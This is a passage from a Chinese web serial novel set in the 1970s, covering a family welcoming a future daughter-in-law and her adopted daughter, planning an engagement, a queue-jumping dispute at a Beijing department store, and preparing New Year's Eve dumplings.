陆卫国看到小桃子如此委屈的表情,立即停止笑,伸手摸摸鼻子。 “大哥哥坏,咱们不理大哥哥。”陆保国立即得意了,凑到小桃子跟前说。 饭桌上大人们也被逗乐了,陆老爷子笑骂:“这几个皮猴子,比外头的炮仗还能闹腾!不过,对妹妹倒是好。” 何婉仪拿手帕给小桃子擦脸,无奈道:“你们几个当哥哥的,别光顾着逗她,赶紧吃饭,吃完饭带妹妹玩会儿,别跑远了啊。” 几个小子听到可以带妹妹出去,立即来了精神,一个个飞快的吃饭。 “慢点儿,小祖宗们,噎着怎么办?”陆思敏忙喊道。 “姑奶奶,没事,我们吃完了带着妹妹显摆去!” “就是,省得他们说,我们陆家没有妹妹。” “嗯嗯,我要带着妹妹玩,我妹妹是最漂亮的妹妹!” 陆良辰看着自家小闺女这受欢迎的样子,露出了老父亲欣慰的笑容。 也是这时候,陆家这几个国才想起来,好像饭桌上还多了一个人。 陆卫国盯着姜海棠看了好几眼,问:“小叔,这是小婶婶吗?” 何婉仪本来想说还没结婚,结果陆良辰直接说:“是你们小婶婶,你们对妹妹要爱护,对小婶婶要尊重,知道吗?” 姜海棠一时之间,有点坐立难安,他们还没结婚,就叫小婶婶会不会不好? 几个国立即齐齐点头应声:“我们知道了,小叔您放心,我们一定爱护妹妹,尊敬小婶婶。” “你们小婶婶给你们带了礼物,等下收拾出来给你们。”陆良辰又说。 几个国立即高兴的欢呼起来:“有礼物喽,有礼物喽!” 姜海棠看着孩子们如此开心,到底也没忍心再说什么。 第149章 一家人 几个孩子风卷残云般吃完饭后,眼睛亮晶晶地围在小桃子身边,那股迫不及待的劲儿,仿佛小桃子是什么稀世珍宝,就等着带出去好好炫耀一番。 姜海棠蹲下身,动作轻柔又细致地给小桃子穿小棉衣。 那小棉衣是她给小桃子做的,大红色的面料上面绣着可爱的小兔子,衬得小桃子的脸蛋愈发粉嫩。 帽子和围巾是一套,都是姜海棠自己织的,最后套上厚实的手套,每一个动作都饱含着浓浓的爱意。 穿戴整齐的小桃子,活脱脱像个喜庆的年画娃娃,可爱得让人忍不住想亲上两口。 这时候,陆卫国搓了搓手,跃跃欲试地凑过来,跃跃欲试想抱小桃子。 陆良辰忙喊道:“你抱不动,小心摔着。” “小叔,我试试,我力气可大了。” 他一脸期待地说着,也不管陆良辰不允许,已经小心翼翼却又略显笨拙地将小桃子抱了起来。 小桃子“咯咯”笑着,清脆的笑声像银铃般在屋里回荡。 陆良辰吓得心肝一颤一颤的,生怕臭小子把自家宝贝闺女给摔了。他眼睛一眨不眨地盯着,两只手虚虚地在下面护着。 家里几个长辈看得都失笑了,真是没想到,陆良辰这个爹当得还挺称职的。 何婉仪快步走过来,脸上满是担心,她叮嘱道:“大小子,你小心些,抱妹妹不许去外面,只能在家里抱。” 陆卫国脸上的笑容瞬间僵住,满是失望,但低头看着怀里软乎乎的小桃子,有点遗憾,但最终还是点头了。 原因无他,妹妹还真的挺重的,偶尔抱一下还行,时间长了,他抱不动。 他暗暗在心里下了决心,以后一定要每天锻炼,等把身体练得棒棒的,就能抱着妹妹出去,让所有人都羡慕他有这么可爱的妹妹。 袁一楠又拉着几个孩子,絮絮叨叨地叮嘱了半天,从不要乱跑,到要照顾好妹妹,事无巨细。 孩子们一边不耐烦地应着,一边不住地往外张望,好不容易得到允许,便欢呼着拉着小桃子跑了出去。 等孩子们的身影消失在门口,何婉仪看了看陆良辰,又看向姜海棠,眼中满是慈爱与关切。 “良辰,海棠,正好你们在京城,既然没有办法直接领证,先给你们订婚怎么样?” 这话一出,屋里瞬间安静下来,众人都露出惊讶的神情。 之前可没说要订婚,怎么忽然有这个想法了? 现在连婚事都简办,再加上一道订婚的程序,会不会不好? 姜海棠更是愣在原地,没想到何婉仪会突然提出这个建议。 何婉仪似乎看出了大家的疑惑,解释道:“我瞧着,小桃子口口声声喊妈妈,你们不订婚,对海棠的名声不好。咱们把婚事定下,就明说只等海棠年龄到了就领证结婚,外人也没话说。” 陆良辰眼睛一亮,立刻开启了“彩虹屁”模式:“妈,还是您想的周到,要不怎么说家有一老如有一宝呢?” 何婉仪瞪了他一眼,嗔怪道:“你也是,刚才孩子们叫小婶婶,你竟然还赞成。也不怕传出去坏了海棠的名声,你这小子,这粗心的,也没谁了。” 陆良辰没敢回话,只在心中腹诽,这不是想着早点定下名分嘛,他也是笨,怎么就没想着直接订婚呢? 还是他妈疼他,知道他的想法。 姜海棠听着这些话,心里涌起一股暖流。 她怎么也没想到,刚见面不久的未来婆婆,会这么设身处地地为她着想。 这一刻,她仿佛又感受到了久违的母爱,眼眶不由得微微泛红,喉咙发紧,差点落下泪来。 陆老爷子沉吟片刻,果断地说:“婉仪说得对,大年初五给你们订婚,这个时间可还行?” 陆思敏也连忙点头,说道:“大嫂,那我们得给海棠买点东西才行,虽然订婚不像结婚,但好歹也得郑重一点。” “那就明天去百货大楼,正好明天百货大楼还开门。” “订婚好歹也要请一两桌人,还得商量一下,请哪些人过来。” 大家你一言我一语,讨论得热火朝天。 陆良辰听着她们越说越有大办的趋势,连忙开口:“就我们自己家人吃饭就行了,妈,不要铺张浪费。” “你懂什么,一旁坐着去,这事儿交给我们。”陆思敏毫不客气地说。 陆良辰却没有乖乖退开,而是凑近了些,说道:“海棠没有娘家人,要不就请胡叔和蒋阿姨他们当女方家属?” “这个行!”众人纷纷表示赞同。 姜海棠坐在一旁,看着这温馨热闹的场景,心里满是感动。 果然日子不是和谁过都一样,嫁人不是嫁到谁家都一样。 她想起上辈子在李家的日子,吃苦受累不说,还总是被挑刺,连一句暖心的话都难得听到。 而在陆家,她还没来得及开口,大家就已经把一切都为她考虑周全了。 她暗暗发誓,以后一定要好好孝顺陆家的长辈,把这个家经营得和和美美。 陆良辰盯着一直没开口说话的姜海棠,脸上的笑遮掩都遮掩不住了。 订了婚,就算是有名分了,真好。 姜海棠心里也挺温暖, 另一边,孩子们在大院里玩得正欢。 几个男娃像是得了宝贝似的,拉着小桃子又跑又跳。 小桃子年纪小,哪里跟得上他们的脚步,跑得急了,“啪”的一声,一个趔趄扑倒在地上。 红棉袄上沾满了泥土,模样看起来有些狼狈。 陆卫国反应最快,一个箭步冲上去,小心翼翼地将小桃子抱在怀里,紧张地上下打量。 “有没有摔疼?小桃子,要是疼了要告诉哥哥。” 陆保国则蹲在旁边,轻轻地给小桃子拍打着身上的土,动作轻柔得仿佛在对待一件易碎的珍宝。 老三皱着眉头,仔细查看小桃子的手有没有摔伤。 老五陆兴国更是气得满脸通红,义愤填膺地用小脚丫子踩着小桃子摔倒的地方,嘴里还嘟囔着:“五哥帮你踩这块地,都是这块地不好,绊到我们家妹妹了。” 老四陆忠国看大家都在忙,一时不知道该做什么,犹豫了一下,也跟着老五一起踩地。 小桃子原本没觉得多疼,毕竟穿得厚实。可看着几个哥哥紧张的样子,不知怎么的,心里突然觉得委屈起来,小嘴一撇,眼眶里蓄满了泪水,一副要哭又强忍着的模样。 这可把陆家几个兄弟吓坏了,也心疼坏了,纷纷使出浑身解数来哄她。 陆保国做着各种鬼脸,老三从兜里掏出一颗水果糖递给她…… 就在这时,身后传来一个陌生的声音:“哎哟喂!这是怎么了?我就说,小姑娘就是麻烦!” 陆卫国头都没抬,气呼呼地骂道:“刘卫星,你别放屁,我家妹妹不是麻烦,你才是麻烦。” “就是,不许说我妹妹不好。” “我妹妹是世上最好的妹妹。” 陆家几个兄弟立刻站出来,把小桃子护在身后,你一言我一语地反驳着。 刘卫星一下子愣住了,他瞪大了眼睛,像看傻子一样看着陆家几兄弟,心里直犯嘀咕:这几个人是不是脑子坏掉了?昨天不是还跟自己一起吐槽小姑娘麻烦吗?怎么今天就变了? 而且,他们什么时候冒出这么大一个妹妹? 在他的印象里,妹妹不都应该像小猫小狗一样,从小小的一点点慢慢长大吗? “陆卫国,你上哪儿偷了一个妹妹?快给人家还回去。”刘卫星觉得自己可能猜到了,立即开口:“我妈说,拐卖孩子犯法,会被公安抓走。” 陆卫国一听,顿时火冒三丈:“你才偷妹妹,你全家偷妹妹。这本来就是我妹妹,我小叔叔的闺女。” “陆小叔叔有女儿了?那她也是我妹妹了。”刘卫星眼睛一转,笑嘻嘻地说。 “我妹妹,不许和我抢。”老五陆兴国立即跳出来反对。 “咱们谁跟谁,是吧?你们小叔叔,我也要叫一声小叔叔的,他的女儿,当然是我妹妹。”刘卫星振振有词,一通诡辩,把陆兴国绕得晕头转向。 陆兴国皱着眉头,觉得好像有哪里不对,可又说不出个所以然来。 陆保国眼珠子一转,计上心来,说道:“我们要带着妹妹去玩,你有什么好玩的?” 他们的炮仗都放完了,要是能让刘卫星拿出好玩的东西,带着妹妹一起玩,那可再好不过了。 刘卫星一听,立马来了精神:“我爸给我做了几个陀螺,我们要不就玩陀螺吧。” 陆家几个兄弟听了,却觉得没什么意思,脸上露出失望的神情。 陀螺有什么好玩的啊,炮仗才好玩呢。 “我爸爸说,小姑娘不喜欢玩炮仗什么的,要不然,还可以玩炮仗。”刘卫星又补充道。 陆卫国一听,连忙低头问小桃子:“小桃子,你喜欢玩炮仗吗?” 小桃子以前只远远地看过别人放鞭炮,“噼里啪啦”的声音把她吓得不轻,于是连忙摇头。 看到小桃子不喜欢,陆卫国几兄弟也不再坚持,虽然有点遗憾,但还是跟着刘卫星去玩陀螺了。 孩子们在大院里嬉笑玩耍的声音传得老远,很快,整个大院的人都知道陆良辰回来了,还带着收养的小闺女。 大家早就听说陆家小儿子收养了战友家的孤女,知道小桃子的父亲是烈士,因此他们不仅没有看不起小桃子,反而都很友善。大 人们纷纷叮嘱自家孩子,要好好照顾小桃子,不要欺负她。 一时间,小桃子成了大院里的“团宠”。 第150章 李刚的侄子 晚上,陆良谨两口子下班回来,听说要给陆良辰订婚,还要去买东西,陆良谨的妻子时书岚二话不说,立刻从兜里掏出好些票据,又数出五十块钱,递给姜海棠说:“我明天还要上班,不能陪着你一起去买东西,这是我的一点心意。” 姜海棠连忙摆手推辞:“大嫂,我自己有钱,这个我不能要。” 时书岚却笑着硬把钱和票塞进她手里:“你有的是你的,这是我当嫂子的给你的一点心意。” 何婉仪也在一旁笑着说:“你嫂子的心意,你只管收下就是,一家子人不用客气。” 姜海棠看着手里的钱和票,心里满是感动,眼圈又红了,她真诚地向时书岚道谢。 虽然之前她给陆家的人都带了礼物,但都是些不值钱的小物件。 这一刻,她暗暗决定,等回去之后,一定要想办法给陆家寄些好东西过来,好好报答大家的这份心意。 夜幕降临,姜海棠和小桃子住进了陆良辰原来的屋子。 房间不大,但收拾得干净整洁,还带着一股淡淡的阳光的味道。 床上铺着崭新的被褥,柔软又暖和,可见,家里是用了心准备的。 姜海棠原以为换了新环境,自己会睡不着,可躺在舒适的床上,想着这一天发生的温暖的事,心里满满的都是踏实和幸福,很快就进入了甜甜的梦乡。 姜海棠一大早就醒了,她轻手轻脚地起床,生怕吵醒身边还在熟睡的小桃子。 窗棂上结着薄薄的霜花,在晨光中闪烁着晶莹的光芒。 姜海棠对着巴掌大的小镜子,仔细地梳好两条乌黑的麻花辫,又换上了藏蓝色呢子外套。 “妈妈,我们真的要去百货大楼吗?” 小桃子揉着惺忪的睡眼,一骨碌从被窝里爬起来,小脸上写满了兴奋。 “是啊,小桃子喜欢吗?”姜海棠温柔地帮女儿穿好衣服。 小桃子立即点头:“二妮姐姐说,京城的百货大楼可漂亮了。” 姜海棠听的失笑,小孩子家家的,根本没来过京城,却能想到京城的百货大楼漂亮,可见,在心里是向往首都的。 “嗯,很漂亮!” 小桃子欢呼一声,迫不及待地跳下床,小家伙两条小辫子在脑后欢快地跳跃。 姜海棠笑着摇摇头,心里却涌起一股暖流。自从来到陆家,小桃子就像找到了真正的家一样,家里人也确实真心喜欢小桃子。 厨房里,王婶已经熬好了小米粥,蒸笼里冒着热气,散发出诱人的馒头香。 时书岚正在厨房里帮忙切咸菜,见姜海棠进来,立刻招呼道:“海棠,快来吃早饭,妈说咱们要早点出发,年前百货大楼人可多了。” “大嫂,你昨天不是说要上班吗?“姜海棠惊讶地问。 时书岚笑着眨眨眼:“我跟单位请了半天假,这么重要的事,我怎么能缺席呢?” 陆良谨从门外进来,手里拿着几张票据:“我找朋友又换了些工业券,应该够用了。” 姜海棠的眼眶又有些发热。她知道在这个物资匮乏的年代,这些票据有多么珍贵。 “谢谢大哥,谢谢大嫂。”她声音有些哽咽:“只是订婚,不用这样。” “要的,虽然是订婚,但也要体体面面才行,才能让人都知道,咱们家重视你。”时书岚笑着说。 姜海棠出身不高,她昨天晚上想了很久,担心大院里的人因为姜海棠的出身说三道四,唯一能杜绝这种情况发生的,就是让大家都看到,陆家重视这个新媳妇。 “一家人不说两家话。”陆良谨憨厚地笑笑,“快吃饭吧,良辰去单位借车了,一会儿就回来。” 正说着,院子里传来吉普车的引擎声,小桃子第一个冲出去:“爸爸回来啦!” 陆良辰一把抱起扑过来的小桃子,笑着走进屋:“车借来了,咱们吃完就走。” 王婶端上热腾腾的早饭,一家人围坐在饭桌前,气氛温馨而热闹。 吃完早饭,何婉仪、袁一楠、时书岚、姜海棠带着小桃子都挤上了那辆老旧的吉普车。 陆良辰开车,姜海棠坐在副驾驶,后排挤着何婉仪、时书岚、袁一楠和小桃子。 虽然有些拥挤,但每个人脸上都洋溢着喜悦。 “坐稳了,出发!“陆良辰发动车子,驶向百货大楼。 “小姑姑呢?”姜海棠问。 “你小姑在百货大楼等我们。” 路上,何婉仪细数着要买的东西:“布料得买红色的,喜庆;暖水瓶要双喜牌的;脸盆要带喜字的;再给你和良辰各买一身新衣裳……” 姜海棠听着,心里既感动又忐忑:“阿姨,我们只是订婚,这些用不到。” “用得到用得到,都是必需品。” 时书岚插话道:“现在条件好了,家里也不缺这点钱票,要给你们办得体体面面。“ 陆良辰扭头从后视镜里看了姜海棠一眼,眼中满是温柔:“听妈和大嫂的。” 反正这些东西都是必需品,买了也不浪费。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!姜海棠低下头,脸颊微红。 小桃子好奇地问:“妈妈,什么是订婚呀?“ 全车人都笑了起来。 时书岚逗她:“就是他们以后就是小桃子永远的爸爸妈妈了。” 小桃子歪着小脑袋想了又想说:“可爸爸妈妈一直是小桃子永远的爸爸妈妈啊。” 车里的笑声更响了。 百货大楼很是气派,四层高的苏式建筑,门前人山人海。 春节前夕,来这里置办年货的人络绎不绝。 陆良辰找到停车位,全家人下了车,随着人流往大楼里走。 何婉仪紧紧拉着小桃子的手,生怕她走丢,袁一楠也在一旁紧张的护着小桃子。 陆良辰索性一把将小闺女抱在怀里,举高高的,免得被磕着碰着。 时书岚挽着姜海棠的胳膊,不时指着橱窗里的商品给她看。 “咱们先去买手表吧。”何婉仪提议,“‘三转一响’里,手表最难买。” “阿姨,手表我和良辰都有,就不用买了,要不,给爷爷买一台收音机吧?” 姜海棠听到要买手表,立即劝阻。 何婉仪听到姜海棠已经有手表的时候,还有点遗憾。 怎么就有手表了呢? “买个收音机,你们带回去方便不?要不,钱给你们,等你们回去了自己买?” 姜海棠忙说:“阿姨,买给爷爷吧。” “老爷子有收音机,再说了,今天是给你们买东西。”何婉仪很坚持。 小儿子退役后留在西北,离家千山万水,平日里照料不到,原本就有亏欠,自然要在他的婚事上多做补偿。 做父母的,希望每一个孩子都能好,也会尽量的补贴过得相对不好的, 何婉仪现在就是这种心态。 “那就买收音机吧,我们回去的时候带上就行。” 陆良辰知道,家里什么都不买,肯定不安心。 “行,今天先买收音机,你们带回去。缝纫机和自行车等你们结婚的时候,在金城那边置办。”何婉仪一锤定音。 姜海棠和陆良辰对视一眼,谁都没说家里已经有缝纫机的事。 “要不,回头就把缝纫机和自行车票给你们,东西也不一定要在结婚的时候置办,提前置办提前用着也方便。”何婉仪又说。 “大嫂说的也有道理。” 几个人正说话的时候,陆思敏也来了,人到齐了,一起往二楼的收音机柜台走去。 他们赶到时,前面已经排了十几个人。 听前面的人说,今天到了一批红星牌收音机,数量有限,先到先得。 “那得赶紧排队,要不,小叔去排队?”时书岚忙说:“我们这么多的人,一起排队不好。” 陆良辰没开口,迈开大步,直接站在了队伍的末尾。 “阿姨,小婶、小姑,我们先到一旁休息一下。”姜海棠担心几位长辈的身体,怕走的时间长了累。 “没事没事,这点路不至于。”何婉仪笑得很是开心。 就在这时,一个穿着呢子大衣、梳着油亮背头的男人径直走到柜台前,对售货员说了几句什么,售货员笑容谄媚地从柜台下拿出一台收音机递给他。 “哎!怎么插队啊?”排在最前面的大爷不乐意了。 老人家来得早,已经排了好一会儿了,看到有人插队,火气旺得很。 “就是,我们都排半天了!”其他人也纷纷抗议。 没有人愿意看到有人取巧插队,损害自己的利益。 那男人回头瞥了一眼,不屑地说:“我是百货大楼李刚李主任的侄子,有意见找我叔说去!” 人群顿时安静下来。 “关系”二字有着特殊的分量,普通人哪敢得罪领导的亲戚? 尤其是这位说的是,百货大楼的主任,他们更不敢得罪。 陆良辰却皱起眉头,大步走上前:“同志,请遵守排队秩序。” 那油头粉面的男人上下打量了陆良辰一眼,嗤笑道:“哟,哪来的愣头青?知道我是谁吗?” 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第151章 解决冲突 “不管你是谁,都应该遵守公共秩序。”陆良辰声音不大,但字字有力,“请到后面排队。” 男人脸色一沉,非常不悦地威胁:“你算老几?信不信我让你今天什么都买不到?” 气氛一下子紧张起来。 包括最开始开口的大爷在内的所有人,都不敢说一句话了,甚至有点庆幸刚才没有强出头。 姜海棠紧张地拉住陆良辰的袖子,小声劝道:“算了,别惹事……收音机咱们也不一定非得要。” 虽然陆家的身份,不至于怕百货大楼主任,但事情闹起来,影响到陆家就不好了。 陆良辰轻轻拍了拍她的手,示意她放心,然后直视那个男人。 那男人阴沉着一张脸。 “这位同志,你要是闹事,请你出去。”这时候一名工作人员走过来,对陆良辰说道。 他还想将陆良辰推搡出去,陆良辰一个反手,将人反剪手臂压制住。 “你们就是这么为人民服务的?看起来,百货大楼已经不是人民的百货大楼,是李家的百货大楼了。” 陆良辰这话说出来,好些人当场脸色就变了。 虽然他们可以狗仗人势仗着在百货大楼有人为所欲为,但是百货大楼改姓这话要是传到上面人的耳朵里,那事情就严重了。 “你瞎说什么,分明是你在百货大楼闹事,耽误其他人的宝贵时间。”又有工作人员出面呵斥陆良辰。 “看起来,今天这事你们是打算包庇自己人了。我不介意去找你商业部的赵主任说道说道。我想他应该不希望百货大楼的名声因为这种事受损,特别是在春节前夕。”陆良辰这番话不卑不亢,语气平稳自然,就好像再说,今天的天气有点冷一样。 那男人脸色变了变,就连百货大楼的其他工作人员都变了脸色。 显然,他们没想到真的能遇到一个愣头青和百货大楼较劲,而且,这个愣头青似乎还认识商业部的领导。 他们盯着陆良辰看了又看,开始担心眼前这个人到底是什么来头了。 这里可是京城,说不定这位当真就是个大人物。 “你是什么人?赵主任也是你想见就能见的?” “能不能见到那是我的问题,道不道歉,是你们的问题。” 正当僵持不下时,一个穿着中山装、干部模样的人匆匆赶来:“怎么回事?” “李主任!”售货员连忙解释,“这位同志在这里胡搅蛮缠,妨碍了我们的秩序……” 姜海棠立即上前:“这位同志,这么多的人看着呢,你就敢睁着眼睛说瞎话,真当人民群众的眼睛都是瞎的?分明是你们违规操作,违反规定,让领导家属随意插队。” 姜海棠说完这几句话之后吗,又看看李主任说:“您就是百货大楼的主任李刚?刚才,这个小伙子,说是您的侄子,还十分嚣张的说,让我们什么东西都买不到。” 李主任看了看现场,立刻明白了情况。 他狠狠瞪了侄子一眼,这个蠢货,这不是给自己挖坑找事吗? “胡闹!赶紧给我到后面排队去!” 然后转向陆良辰,歉意地说:“这位同志,实在不好意思,是我管教不严。” 陆良辰点点头:“李主任明事理,我们只是希望公平购买。” “还不赶紧给这位同志道歉?”李主任踹了侄子一眼,然后又冲着几个售货员说:“你们就是这么为人民服务的?道歉!” 几个工作人员和李主任的侄子都很惊讶,李主任平时好像也不这样啊,怎么今天竟然会对顾客这样客气? 莫非,眼前这个愣头青真的是什么大人物? 思及此,李主任的侄子和几个售货员都对陆良辰道歉了,李主任的侄子也在道歉之后,乖乖地排到最后面去了。 围观的和等着买收音机的人们连连称赞,李主任是真心为人民服务的好同志。 只有陆良辰冷哼了一声,没有开口。 袁一楠在一旁站着,脸色很是阴沉,看起来,百货大楼必须要整顿一下才行。 风波平息,排队秩序恢复了。 更让人惊喜的是,李主任为了表示歉意,特意让人从仓库又取出一批收音机,保证排队的人都能买到。 袁一楠的脸色更加难看了,百货大楼的问题看起来比自己想象的要更加严重。 她一点都不怀疑,李主任之所以这样,是认出了自己。 陆良辰最终也买到了收音机,这台收音机通体枣红色,正面是细密的金属网罩,侧面有调频旋钮和音量开关,还附带一根可以拉出来的天线。 他把那台崭新的红星牌收音机交到姜海棠手中时,姜海棠露出了欢喜的笑容。 中午,她们在百货大楼附近的国营饭店吃了午饭。 何婉仪点了一桌子菜:红烧肉、糖醋鲤鱼、炒青菜、酸辣土豆丝和一大盆鸡蛋汤。 袁一楠还在生气,何婉仪笑着说:“别生气了,大好的日子犯不着。” “想起来还是生气,我们多少年积攒的好口碑,难道就要为了这样的人败坏?” “等过完年,好好整顿一下就是,再说,这样的事,其实也是司空见惯,哪个行业没点儿问题。” “话虽然这么说,但到底……算了,今天是好日子,咱们不说这个,赶紧吃饭,吃完饭还要继续购物。” 陆良辰看姜海棠一副茫然,凑近她的耳边说:“二婶是商业局的领导,这块正好归她管。” 姜海棠这才了然,难怪今天的争端,他们莫名其妙就得了优势,还以为那个李主任是真的好,现在想来,应该是认出了二婶。 姜海棠对二婶的身份,并没有太吃惊,毕竟陆家这样的人家,不管是儿子还是儿媳,身份应该都不会很低才对。 一家子人很快吃完饭,接着购物。 下午的购物相对轻松些,他们先去了布料区,又选了一块藏青色的确良布料,准备给陆良辰做件新中山装。 又去了服装区,给姜海棠买了件枣红色的呢子外套,还给小桃子买了件大红色的棉衣。 按照何婉仪的想法,还要继续卖,但被姜海棠制止了。 “阿姨,不用买太多,我和良辰都在纺织厂工作,单位发的够我们穿了。” “你们的,肯定不如京城的好……”陆思敏刚说了一句话,忽然想起什么,说道:“哎呀,我想起来了,你们厂的呢料好像非常不错。” “是海棠改进的技术,在去年的广交会上取得了不错的成绩。”陆良辰立即开始夸奖媳妇。 一行人又买了一些零零碎碎的东西之后,想着明天就是除夕了,不如再买些肉和菜回去。 袁一楠说:“我先回单位一趟,就不跟着你们一同买了。” 何婉仪说道:“说话的时候,柔和一点,不要太着急。” “嫂子,你放心吧,我有分寸。” 目送袁一楠风风火火地离开,众人接着去采购除夕要用到的菜蔬。 一直到夕阳西下,吉普车才行驶在回家的路上。 后座上的几个人显然都很累了,何婉仪和小桃子抱在一起睡得舒服,时书岚的脑袋也一点一点的昏昏欲睡。 姜海棠偷偷看了眼专注开车的陆良辰。 “在想什么?”陆良辰察觉到她的目光,轻声问道。 姜海棠微笑着摇摇头:“没什么,就是觉得……真好。” 陆良辰似乎理解她的意思,伸手轻轻握了握她的手,两人相视一笑。 晚上回家,何婉仪又拿出了家里放着的一盒毛线。 “这是前段时间,你们丁阿姨去沪城的时候给我带回来的毛线,也给海棠带回去织毛衣穿。” “妈,我们不缺毛线,给自己织一件毛衣。” 何婉仪白了儿子一眼,没好气地说道:“我这个年龄了,穿一件红毛衣像什么样子,别人不得把我笑话死?这毛线本来就是给你们准备的。” 最终,姜海棠还是收下了毛线。 “这才对!”何婉仪笑得眼睛眯成一条缝,“等了这么多年,终于等到良辰成家了,还是这么好的媳妇,我这心里欢喜啊。海棠,我是真心当你是我们家的人,你也不要与我客气。” 姜海棠心里一热,想说些什么,却被时书岚抢先道:“海棠,妈是这世上最好的婆婆了,对儿媳妇没话说。” 一宿无话,第二日天还没亮透,陆家的人就已经起床了。 姜海棠轻手轻脚地起床,生怕吵醒身边熟睡的小桃子。 她关好房门到了厨房里。 厨房里,何婉仪和时书岚已经忙活开了。 瞧见姜海棠,时书岚忙说:“海棠起来了?怎么不多睡会儿?” “早饭已经做好了,海棠你先吃早饭,吃完了帮我和你嫂子准备年夜饭。”何婉仪倒是没客气,直接开口安排。 姜海棠看到,灶台上大铁锅里的水正咕嘟咕嘟冒着泡,何婉仪正在切肉,时书岚则在清洗一筐刚从地窖取出来的冬储白菜。 灶台上,还放着一小锅浓香的粥,旁边有几根油条。 姜海棠舀了一碗粥,就着油条快速吃了。 “阿姨,我切肉吧。” “这活儿费力气,你别帮忙了,你去看看还有什么可以干的。”何婉仪忙将姜海棠顶开。 “阿姨,我力气大。” 何婉仪看着坚持的姜海棠,笑着说:“我也就是稍微切一下,等下剁肉的工作,要交给他们男人。” 姜海棠一愣,陆家这样的人家,男人还需要下厨吗? 第152章 陆良辰的糗事 “王婶平日里在我们家帮忙,但除夕这日,她也要回家过年的,因此,每年的年夜饭都是我们自己做。” “既然是年夜饭,肯定是要大家一起动手,没有男人闲着,只女人忙碌的道理。” 何婉仪语气温柔的向姜海棠说着家里的规矩。 时书岚把洗好的白菜递给她:“要不,海棠你帮忙切菜吧,你刀工好,把这些白菜切丝再剁碎,拌馅用。” 三个人才说话,袁一楠也来了,加入忙活的大军里。 姜海棠衡量了一下,觉得准备的饺子有点多。 “阿姨,这么多的饺子,我们能吃完吗?” “这些饺子,不是我们家自己吃的,是包起来送到部队上去的,是咱们家的一点心意。”袁一楠笑着解释给姜海棠听。 “你爷爷是部队里的领导,这个规矩是从好多年前就定下的,后来,你二叔也到了部队,你大哥也在部队,这个规矩就这么延续下来了。” 姜海棠这才明白。 原来是这样,没想到陆家的人能这样体恤士兵们,虽然这么多的饺子,不一定每个人能分到,但这是心意。 “这几年啊,好些领导家里都会给部队上送饺子过去,炊事班说,他们的压力减轻了不少呢。”时书岚掩嘴笑着说。 众人听了也笑起来。 姜海棠干的更加卖力了,几个女人在厨房里忙碌着,蒸汽氤氲中,不时传出低声的交谈和轻笑。 很快,男人们也到了,他们剁肉馅的剁肉馅,和面的和面。 陆良辰从姜海棠手里拿过菜刀,开始帮忙切菜,只是他的刀工实在不怎么样。 何婉仪笑道:“海棠啊,你可别惯着这臭小子,你看看这手艺差的,能饿死自己。” 陆良辰不依的喊道:“妈,我可是您的亲儿子。” “你要不是我亲儿子,我还不稀罕说呢。海棠啊,这小子当兵早,一直没有下过厨,你可是不知道,有一年他探亲回来,心血来潮,要给我做饭吃。” 陆良辰忙制止:“妈,我的黑历史就不用说了吧?” “海棠又不是外人,我得先提醒提醒,免得你哪天又想不开了,给海棠做饭吃。” 姜海棠看着母子二人,有点点想知道了了,因此凑过去问:“阿姨,他做饭是什么样子的?” “怎么说呢,一言难尽,别的也就罢了,那肉,是我这辈子吃过最难吃的肉,就算只是放在清水里煮熟,都比他做的肉好吃一万倍。” 姜海棠不敢置信的看着陆良辰,他以前是说过自己不会做肉,但没想到会这样惨烈。 姜海棠重新从陆良辰的手里拿过菜刀切白菜,刀落在案板上发出有节奏的“哒哒“声。 陆良辰看着,只觉得自家媳妇就连切菜都好看。 “别看着了,过来帮我剁肉馅。”陆家大哥陆良谨觉得自家傻弟弟这样真是没眼看,因此,招呼他过来帮忙。 “海棠啊,”何婉仪突然开口,“包完饺子中午送到军营里,才会做咱们的年夜饭,晚上,你给咱们做红烧肉怎么样?” 姜海棠手上动作一顿,有些不好意思:“我怕我做的不好吃。” “良辰已经夸了好几次了,给我们都夸。”时书岚咯咯笑着说:“我们早就商量,有时间肯定要尝一下你做的红烧肉。” 姜海棠瞪了一眼陆良辰,陆良辰却挑眉笑:“我媳妇做饭都好吃,不光红烧肉好吃。” “那今天的红烧肉就交给海棠了。”何婉仪笑着说,“良辰爱吃红烧肉,不过总嫌弃我做的不好吃。” 姜海棠心头一暖,知道这是何婉仪在给她表现的机会,也是接纳她的方式。 她郑重地点点头:“好,阿姨,我一定好好做。” 上午十点多,院子里突然传来汽车喇叭声。 姜海棠从厨房探头望去,看见一辆绿色吉普车停在院门外,一个年轻人正从车上往下搬东西。 “哟,小张来了!”何婉仪快步走过去,接过对方手中的篮子。 “嫂子,这是研究院给陆总工送的年货,领导让我送家里来。” 年轻人恭敬地说,又从车里提出一个网兜,里面装着几个罐头,“这是咱们研究院的食堂里自己做的红烧肉罐头。” “谢谢你了,快到屋里喝口水。” “不了,嫂子,我还要去别人家里。” 何婉仪忙喊道:“良辰,过来帮忙搬东西。” “来了!”陆良辰走出去,将两个篮子都拎起来。 何婉仪客客气气送走了年轻人,这才回屋接着包饺子。 陆良辰将红烧肉罐头打开一罐,一股混合着花椒和八角香的肉味传来。 “还不如我媳妇做的好吃。”陆良辰摇摇头。 何婉仪拍了一把他说:“就显着你了,说的好像你自己会做一样。” 骂完了儿子,她又问:“今年的年货都有什么啊?” 陆良辰掀开篮子上的盖子“有猪肉,羊肉、牛肉,还有两条,还挺多的呢。” 时书岚包饺子的空闲扫了一眼说道:“国家的日子眼瞅着是好过了,今年的年货可比往年要好。鱼可真大啊,正愁昨天没有买到大鱼,这下年夜饭的鱼有着落了。” 包出来的饺子,端到外面冻着,随着一盘一盘的饺子包好,时间也到了中午。 包完最后一个饺子,陆家人都有些累了。 “休息一下,咱们简单吃点,良辰兄弟两个负责送饺子,我们准备年夜饭。” 何婉仪简单的给大家分工。 陆家几个皮猴子问:“奶奶,我们和妹妹干什么?” “你们玩,要是想帮忙,就帮着打扫院子。” “奶奶,我要贴福字。” “行!”何婉仪一边给小桃子挑面条,一边回答孙子。 姜海棠看着陆家几兄弟对小桃子这个忽然冒出来的妹妹不光没有排斥,还很照顾,心里暖暖的。 吃完饭来不及休息,一家子人就开始忙碌起来。 陆老爷子今天不在,一大早就去慰问了,陆二叔也还没回来,听说是要慰问结束之后才会回来。 